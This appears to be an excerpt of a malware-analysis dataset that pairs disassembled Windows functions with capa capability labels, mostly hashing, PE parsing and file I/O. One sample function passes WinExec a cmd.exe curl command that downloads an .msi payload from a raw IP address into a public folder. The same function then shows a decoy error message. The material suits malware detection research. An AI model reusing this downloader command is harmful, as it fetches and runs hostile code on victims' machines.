joyce8/EMBER2024-capa huggingface dataset:
Function at 0x503200
Capabilities:
Hash data using fnv

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x50344b
add rsp, 0xffffffffffffff80
mov qword [rsp + 0x78], rbp
lea rbp, [rsp + 0x78]
mov ebx, dword [rax + 0x2c]
nop dword [rax + rax]
test ebx, ebx
jne 0x5032ac
mov qword [rsp + 0x88], rax
lea rbx, [0x007562a0]
mov rcx, rax
lea rax, [0x009cf900]
call fcn.00478e80
test cl, cl
jne 0x503291
mov rax, qword [rsp + 0x88]
call fcn.00501260
mov ecx, 1
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x30]
lea rbx, [0x007ed628]
call fcn.0044e8c0
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x28], rbx
nop dword [rax]
call fcn.00504640
mov rcx, qword [rsp + 0x88]
xor edx, edx
jmp 0x5032cd
lea rdx, [0x00755fe0]
cmp rax, rdx
jne 0x5032bb
test byte [rbx], al
mov rax, rbx
mov rbp, qword [rsp + 0x78]
sub rsp, 0xffffffffffffff80
ret
call fcn.00460e20
mov rbp, qword [rsp + 0x78]
sub rsp, 0xffffffffffffff80
ret
mov rbx, rdx
lea rcx, [0x00703f80]
call fcn.0040abe0
inc rdx
cmp rbx, rdx
jle 0x503318
mov rsi, qword [rax + rdx*8]
cmp qword [rsi + 0x30], rcx
jne 0x5032ca
lea rax, [0x009cf900]
lea rbx, [0x007562a0]
lea rdi, [0x00755fe0]
call fcn.00479040
lea rdx, [0x00755fe0]
nop dword [rax]
cmp rax, rdx
jne 0x50343b
test byte [rbx], al
mov rax, rbx
mov rbp, qword [rsp + 0x78]
sub rsp, 0xffffffffffffff80
ret
lea rcx, [0x006f5400]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], 0
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x58], rcx
lea rax, [0x007257e0]
nop
call fcn.0040d9c0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x58]
test byte [rcx], al
cmp dword [0x00a245e0], 0
jne 0x50337a
mov rdx, qword [rcx]
mov qword [rax], rdx
movups xmm0, xmmword [rcx + 8]
movups xmmword [rax + 8], xmm0
movups xmm0, xmmword [rcx + 0x18]
movups xmmword [rax + 0x18], xmm0
movups xmm0, xmmword [rcx + 0x28]
movups xmmword [rax + 0x28], xmm0
jmp 0x503389
mov rbx, rax
lea rax, [0x007257e0]
call fcn.00413ea0
mov rax, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x28]
xor ecx, ecx
xor edi, edi
xor esi, esi
mov r8d, esi
nop dword [rax]
call fcn.00500d20
call fcn.00460ee0
mov rsi, qword [rsp + 0x60]
mov dword [rsi + 0x28], eax
mov dword [rsi + 0x2c], 0
mov rcx, qword [rsp + 0x88]
mov edx, dword [rcx + 0x10]
xor eax, eax
jmp 0x5033d6
imul edx, edx, 0x1000193
xor edx, 0x2a
mov eax, 1
cmp rax, 1
jl 0x5033c8
mov dword [rsi + 0x10], edx
cmp dword [0x00a245e0], 0
jne 0x5033ee
mov qword [rsi + 0x30], rcx
jmp 0x5033f7
lea rdi, [rsi + 0x30]
call fcn.00465b80
lea rax, [0x009cf900]
lea rbx, [0x007562a0]
lea rdi, [0x00755fe0]
call fcn.00479040
lea rdx, [0x00755fe0]
cmp rax, rdx
jne 0x50342c
test byte [rbx], al
mov rax, rbx
mov rbp, qword [rsp + 0x78]
sub rsp, 0xffffffffffffff80
ret
mov rbx, rdx
lea rcx, [0x00703f80]
call fcn.0040abe0
mov rbx, rdx
lea rcx, [0x00703f80]
call fcn.0040abe0
nop
mov qword [rsp + 8], rax
call fcn.004638c0
mov rax, qword [rsp + 8]
jmp fcn.00503200
Function at 0x2591f13a0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x28
xor edx, edx
lea rcx, str.c:windows_system32cmd.exe__c_curl__o_c:userspublicdS.msi_http:__135.125.177.82_UMYApd4_uwYtimeout_15c:userspublicdS.msi
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, 0x10
lea r8, str.Error
xor ecx, ecx
lea rdx, str.The_data_is_invalid.
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
add rsp, 0x28
ret

Function at 0x2591f1580
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.2591f2280
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.2591f2280
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x2591f15f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x2591f7064]
mov r12, rcx
test ebx, ebx
jle 0x2591f1720
mov rax, qword [0x2591f7068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x2591f163c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x2591f16c3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x2591f1620
mov rcx, r12
call fcn.2591f1d70
mov rsi, rax
test rax, rax
je 0x2591f1742
mov rax, qword [0x2591f7068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.2591f1ea0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x2591f7068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x2591f1727
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x2591f16bc
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x2591f16d0
add dword [0x2591f7064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x2591f7068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x2591f16bc
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.2591f1580
nop dword [rax]
xor ebx, ebx
jmp 0x2591f1647
mov rax, qword [0x2591f7068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.2591f1580
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.2591f1580
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x2591f19e0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x2591f70a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x2591f7080]
test rbx, rbx
je 0x2591f1a34
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x2591f1a2b
test r12, r12
je 0x2591f1a2b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x2591f1a10
lea rcx, [0x2591f70a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x2591f1d70
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2591f42a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2591f1d90
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2591f1d98
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2591f1d90
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x2591f1de5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x2591f1ddc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x2591f1d90
add rax, 0x28
cmp rax, r9
jne 0x2591f1dc8
xor eax, eax
ret

Function at 0x2591f1df0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2591f42a0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x2591f1e10
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x2591f1e18
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x2591f1e10
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x2591f1ea0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2591f42a0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x2591f1ec0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x2591f1ec8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x140003a20
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
cmp qword [rsp + 0x60], 0
je 0x140003a3e
cmp qword [rsp + 0x68], 0
jne 0x140003a45
xor eax, eax
jmp 0x140003b71
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x18]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov dword [rsp], 0
jmp 0x140003ae6
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0x18]
cmp dword [rsp], eax
jae 0x140003b6f
mov eax, dword [rsp]
mov rcx, qword [rsp + 0x28]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x68]
sub rcx, rax
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x140003b2e
inc rax
test dl, dl
jne 0x140003b1b
xor eax, eax
jmp 0x140003b33
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140003b6a
mov eax, dword [rsp]
mov rcx, qword [rsp + 0x38]
movzx eax, word [rcx + rax*2]
mov dword [rsp + 0x10], eax
mov eax, dword [rsp + 0x10]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
jmp 0x140003b71
jmp 0x140003ade
xor eax, eax
add rsp, 0x58
ret
Function at 0x14000eca0
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 8], rcx
mov rax, qword [rsp + 8]
mov dword [rax + 0x40], 0
mov rax, qword [rsp + 8]
mov qword [rax + 0x48], 0
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0x6a09e667
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0xbb67ae85
mov eax, 4
imul rax, rax, 2
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0x3c6ef372
mov eax, 4
imul rax, rax, 3
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0xa54ff53a
mov eax, 4
imul rax, rax, 4
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0x510e527f
mov eax, 4
imul rax, rax, 5
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0x9b05688c
mov eax, 4
imul rax, rax, 6
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0x1f83d9ab
mov eax, 4
imul rax, rax, 7
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0x5be0cd19
mov rax, qword [rsp + 8]
ret
Function at 0x14000f540
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x40]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x40]
cmp dword [rax + 0x40], 0x38
jae 0x14000f56c
mov dword [rsp + 0x24], 0x38
jmp 0x14000f574
mov dword [rsp + 0x24], 0x40
movzx eax, byte [rsp + 0x24]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov byte [rax], pe_nt_image_headers64
mov rax, qword [rsp + 0x28]
inc rax
mov qword [rsp + 0x28], rax
movzx eax, byte [rsp + 0x20]
cmp qword [rsp + 0x28], rax
jae 0x14000f5cb
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov byte [rax], 0
mov rax, qword [rsp + 0x28]
inc rax
mov qword [rsp + 0x28], rax
jmp 0x14000f59d
mov rax, qword [rsp + 0x40]
cmp dword [rax + 0x40], 0x38
jb 0x14000f5f3
mov rcx, qword [rsp + 0x40]
call fcn.14000f0e0
mov rax, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x40]
xor eax, eax
mov ecx, 0x38
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x40]
shl eax, 3
mov eax, eax
mov rcx, qword [rsp + 0x40]
add rax, qword [rcx + 0x48]
mov rcx, qword [rsp + 0x40]
mov qword [rcx + 0x48], rax
mov eax, 1
imul rax, rax, 0x3f
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x40]
movzx edx, byte [rdx + 0x48]
mov byte [rcx + rax], dl
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x48]
shr rax, 8
mov ecx, 1
imul rcx, rcx, 0x3e
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rcx], al
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x48]
shr rax, 0x10
mov ecx, 1
imul rcx, rcx, 0x3d
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rcx], al
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x48]
shr rax, 0x18
mov ecx, 1
imul rcx, rcx, 0x3c
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rcx], al
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x48]
shr rax, 0x20
mov ecx, 1
imul rcx, rcx, 0x3b
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rcx], al
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x48]
shr rax, 0x28
mov ecx, 1
imul rcx, rcx, 0x3a
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rcx], al
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x48]
shr rax, 0x30
mov ecx, 1
imul rcx, rcx, 0x39
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rcx], al
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x48]
shr rax, 0x38
mov ecx, 1
imul rcx, rcx, 0x38
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rcx], al
mov rcx, qword [rsp + 0x40]
call fcn.14000f0e0
add rsp, 0x30
pop rdi
ret
Function at 0x1400137ac
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x1400137da
xor eax, eax
jmp 0x1400138c0
cmp qword [rcx + 0x68], 0
je 0x1400137eb
call fcn.140010500
jmp 0x1400138c0
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140013802
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140013804
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140013836
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.1400183c0
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x1400138ba
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x14001386d
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x140013896
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.1400203a0
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x1400138ba
cmp rsi, rbx
ja 0x140013874
test rsi, rsi
je 0x1400138ba
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.1400203a0
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x140016dc4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140016e0e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140016e0e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140016e0e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140016e0e
cmp dword [rcx + 0x84], 0xe
jbe 0x140016e0e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140016e10
xor al, al
add rsp, 0x28
ret

Function at 0x140025dd8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140025bc8
Function at 0x14002ccdc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x14002cd0e
call fcn.14001f4f4
mov dword [rax], 0x16
call fcn.14001f380
jmp 0x14002ce2d
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14002ce2d
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x14002ce2d
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x14002cd3d
lock or dword [rcx + 0x14], 0x10
jmp 0x14002ce2d
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x14002cd51
call fcn.14002e508
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.140029aa0
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.14002dc84
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x14002ce1b
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x14002cde6
mov rcx, rsi
call fcn.140029aa0
cmp eax, edi
je 0x14002cdd1
mov rcx, rsi
call fcn.140029aa0
cmp eax, 0xfffffffe
je 0x14002cdd1
mov rcx, rsi
call fcn.140029aa0
movsxd rbx, eax
lea r14, [0x140819560]
mov rcx, rsi
sar rbx, 6
call fcn.140029aa0
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x14002cdd8
lea rdx, [0x14004e3c0]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14002cde6
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x14002ce0a
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x14002ce0a
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x14002ce0a
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x14002ce30
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x14002ce48
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x14002cb6a
call fcn.14001f4f4
mov dword [rax], 0x16
call fcn.14001f380
jmp 0x14002ccba
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14002ccba
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x14002ccba
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x14002cb99
lock or dword [rcx + 0x14], 0x10
jmp 0x14002ccba
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x14002cbad
call fcn.14002e508
mov ebp, dword [rbx + 0x10]
cmp ebp, 1
jne 0x14002cbbd
mov rax, qword [rbx]
mov r14b, byte [rax]
jmp 0x14002cbc0
xor r14b, r14b
mov rsi, qword [rbx + 8]
mov rcx, rbx
mov edi, dword [rbx + 0x20]
mov qword [rbx], rsi
call fcn.140029aa0
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.14002dc84
mov dword [rbx + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 2
jbe 0x14002cca8
mov eax, dword [rbx + 0x14]
test al, 6
jne 0x14002cc53
mov rcx, rbx
call fcn.140029aa0
cmp eax, 0xffffffff
je 0x14002cc3e
mov rcx, rbx
call fcn.140029aa0
cmp eax, 0xfffffffe
je 0x14002cc3e
mov rcx, rbx
call fcn.140029aa0
movsxd rdi, eax
lea rsi, [0x140819560]
mov rcx, rbx
sar rdi, 6
call fcn.140029aa0
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [rsi + rdi*8]
lea rdx, [rax + rcx*8]
jmp 0x14002cc45
lea rdx, [0x14004e3c0]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14002cc53
lock or dword [rbx + 0x14], 0x20
cmp dword [rbx + 0x20], 0x200
jne 0x14002cc77
mov eax, dword [rbx + 0x14]
shr eax, 6
test al, 1
je 0x14002cc77
mov eax, dword [rbx + 0x14]
shr eax, 8
test al, 1
jne 0x14002cc77
mov dword [rbx + 0x20], 0x1000
mov rdx, qword [rbx]
cmp ebp, 1
jne 0x14002cc95
movzx ecx, byte [rdx]
dec dword [rbx + 0x10]
shl cx, 8
movzx eax, r14b
or cx, ax
inc rdx
jmp 0x14002cca0
movzx ecx, word [rdx]
add dword [rbx + 0x10], 0xfffffffe
add rdx, 2
mov qword [rbx], rdx
movzx eax, cx
jmp 0x14002ccbf
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rbx + 0x14], eax
and dword [rbx + 0x10], 0
mov eax, 0xffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
jmp 0x14002cb34
Function at 0x14002d160
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140016670
sub rsp, rax
mov rax, qword [0x14004e020]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140029aa0
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14002d1af
mov rax, rbp
jmp 0x14002d2b7
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x819560]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14002e45c
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x819560]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14002d2b3
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14002d2b3
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14002e45c
test rax, rax
js 0x14002d2b3
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14002d2b3
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14002d2a5
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14002d2a5
cmp byte [rcx], 0xd
jne 0x14002d28b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14002d29a
cmp byte [rcx + 1], 0xa
jne 0x14002d29a
inc rcx
jmp 0x14002d29a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x4e410]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14002d26d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14002d2b7
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140015f30
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14002d7d8
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x140819560]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x14002d836
cmp word [rdx], r12w
jne 0x14002d836
or byte [rax + r8*8 + 0x38], cl
jmp 0x14002d83c
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x14002d997
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x14002d972
lea r9, [rcx + 2]
cmp ax, r13w
je 0x14002d875
mov rcx, r9
jmp 0x14002d898
cmp r9, rdx
jae 0x14002d8af
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x14002d859
jmp 0x14002d997
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14002d96c
cmp dword [rsp + 0x80], edi
je 0x14002d96c
mov rdx, r14
lea r11, [0x140819560]
sar rdx, 6
